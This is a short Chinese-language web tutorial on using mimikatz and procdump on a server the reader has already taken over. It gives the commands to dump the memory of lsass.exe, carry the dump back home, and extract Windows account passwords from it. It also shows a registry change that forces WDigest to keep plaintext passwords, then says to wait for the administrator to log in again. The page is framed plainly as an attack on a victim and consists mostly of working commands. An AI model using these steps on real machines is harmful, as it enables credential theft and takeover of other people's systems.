当前位置: 代码迷 >> 综合 >> Mimikatz + procdump 的使用
  详细解决方案

Mimikatz + procdump 的使用

热度:17   发布时间:2024-01-21 10:54:10.0

控制远程的服务器后,‘帮助’对方下载mimikatz,然后以管理员身份运行

??????https://github.com/gentilkiwi/mimikatz/releases

privilege::debug   提取权限
sekurlsa::logonpasswords   抓取密码

mimikatz是从 lsass.exe进程中获取windows的账号及密码的,
这时,我们可以帮对方安装一个procdump64.exe(这是微软自己的工具,可以放心使用)

然后从 lsass.exe进程里导出一个 包含账号密码信息的lsass.dmp 文件,再把这个dmp文件传回来,最后在自己的环境下运行mimikatz,从 dmp文件里读取信息。
ProcDump - Windows Sysinternals | Microsoft Docs

1、安装procdump64.exe

2、从procdump64.exe里导出lsass.dmp

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

3、将lsass.dmp传回本地

4、使用本地的mimikatz.exe读取lsass.dmp

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"

Windows10/2012R2 版本:
默认 Windows10 或者 2012R2 以上的,禁止在内存缓存中保存明文密码。

四步骤:
1、修改注册表
2、锁屏或者退出账号
3、等待目标系统管理员重新登录
4、读取密码

修改注册表来让 Wdigest Auth 保存明文口令:
复原把 1 改为 0

reg add HKLM\SYSTEM\CurrentControlSet\ControlSecurity\Providers\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

修改注册表需要重启,或者注销账号重新登录。

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

然后拿到 mimikatz 文件夹执行命令读明文:

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

高级用法